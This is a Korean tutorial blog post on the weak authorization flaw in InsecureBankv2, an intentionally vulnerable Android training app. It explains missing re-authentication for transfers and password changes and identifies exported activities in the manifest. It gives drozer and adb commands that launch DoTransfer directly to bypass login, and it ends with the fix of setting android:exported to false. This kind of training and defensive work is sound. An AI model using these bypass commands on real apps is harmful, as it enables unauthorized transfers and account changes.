R136A1
[InsecureBank] 3. Weak Authorization mechanism 약한 인증 매커니즘 본문
[InsecureBank] 3. Weak Authorization mechanism 약한 인증 매커니즘
r136a1x27 2021. 11. 5. 17:31약한 인증 매커니즘. 쉽게 예를 들면 계정 정보를 수정할 때, 관리자 페이지에 접근할 때
비밀번호를 한번 더 입력받지 않거나 추가적인 인증 과정 없이 사용자를 신뢰하여 중요한 정보를 변경할 수 있게 함
(웹에서도 나타남)
모바일에서는 액티비티를 기반으로 인증과정을 건너뛸 수 있다.
기능 분석하기
약한 인증 매커니즘은 취약점 찾기 없이도 찾아낼 수 있다.
Insecurebank의 기능에는
1. Transfer(송금)
2. View Statement(상태 보기) = 송금 내역
3. Change Password(비밀번호 변경)
특히 1. Transfer과 3. Change Password의 경우 민감한 정보를 다루므로 추가적인 인증 절차가 필요하다.
Transfer의 경우 추가적인 인증 절차 없이 From Accounts를 입력할 수 있으므로
자신의 계좌가 아닌 다른 계좌 대상으로 돈을 송금하는 것이 가능하다.
(또한, 앱 DB에 계좌가 없어도 무조건 송금된다)
Change Password의 경우에도 추가적인 인증 과정 없이 로그인만 되어 있다면 password를 변경할 수 있다.
이정도만 해도 인증 매커니즘이 취약하다 볼 수 있지만
두 경우 모두 로그인 화면을 통과해야만 접근할 수 있는 기능이므로, 추가적으로 로그인을 우회하는 취약점을 찾아보자.
수동으로 취약점 찾기
액티비티 살펴보기(manifest.xml 에 선언되어있음)
run app.package.manifest com.android.insecurebankv2 또는 1. 에서 확인했던 것 처럼 jd-gui로 확인할 수 있다.
<activity android:label="@string/app_name" android:name="com.android.insecurebankv2.LoginActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
<activity android:label="@string/title_activity_file_pref" android:name="com.android.insecurebankv2.FilePrefActivity" android:windowSoftInputMode="adjustUnspecified|stateVisible|adjustResize|adjustPan|adjustNothing"/>
<activity android:label="@string/title_activity_do_login" android:name="com.android.insecurebankv2.DoLogin"/>
<activity android:label="@string/title_activity_post_login" android:name="com.android.insecurebankv2.PostLogin" android:exported="true"/>
<activity android:label="@string/title_activity_wrong_login" android:name="com.android.insecurebankv2.WrongLogin"/>
<activity android:label="@string/title_activity_do_transfer" android:name="com.android.insecurebankv2.DoTransfer" android:exported="true"/>
<activity android:label="@string/title_activity_view_statement" android:name="com.android.insecurebankv2.ViewStatement" android:exported="true"/>
<activity android:label="@string/title_activity_change_password" android:name="com.android.insecurebankv2.ChangePassword" android:exported="true"/>
<activity android:theme="@style/Theme.Translucent" android:name="com.google.android.gms.ads.AdActivity" android:configChanges="keyboard|keyboardHidden|orientation|screenLayout|uiMode|screenSize|smallestScreenSize"/>
<activity android:theme="@style/Theme.IAPTheme" android:name="com.google.android.gms.ads.purchase.InAppPurchaseActivity"/>
여기서 주목해야 하는 것은 activity의 android:exported 속성이다.
intent-filter가 있을 경우 true로자 자동 설정되고,
intent-filter가 없을 경우 default는 false이기 때문에
true인 activity를 뽑아보면 아래와 같다.
login_activity, post_login, do_transfer, view_statement, change_password
<activity android:label="@string/app_name" android:name="com.android.insecurebankv2.LoginActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
<activity android:label="@string/title_activity_post_login" android:name="com.android.insecurebankv2.PostLogin" android:exported="true"/>
<activity android:label="@string/title_activity_do_transfer" android:name="com.android.insecurebankv2.DoTransfer" android:exported="true"/>
<activity android:label="@string/title_activity_view_statement" android:name="com.android.insecurebankv2.ViewStatement" android:exported="true"/>
<activity android:label="@string/title_activity_change_password" android:name="com.android.insecurebankv2.ChangePassword" android:exported="true"/>
drozer를 통해 취약점 찾기
run app.activity.info -a com.android.insecurebankv2
자동으로 android:exported 속성이 true인 액티비티(취약한 액티비티)만 찾아준다.
참고로 이 개수는 run app.package.attacksurface com.android.insecurebankv2를 통해 도출된 취약점 개수와 동일하다
여기서 우리가 주목해야 할 것은 DoTransfer과 ChangePassword 모두 true이라는 점이다.
따라서 첫 화면에서 로그인 없이 DoTransfer 또는 ChangePassword로 뛰어넘을 수 있다.
drozer exploit code
run app.activity.start --component com.android.insecurebankv2 com.android.insecurebankv2.DoTransfer
adb exploit code
am start com.android.insecurebankv2/ .DoTransfer
방어 기법
activity android:exported 설정을 false로 변경한다.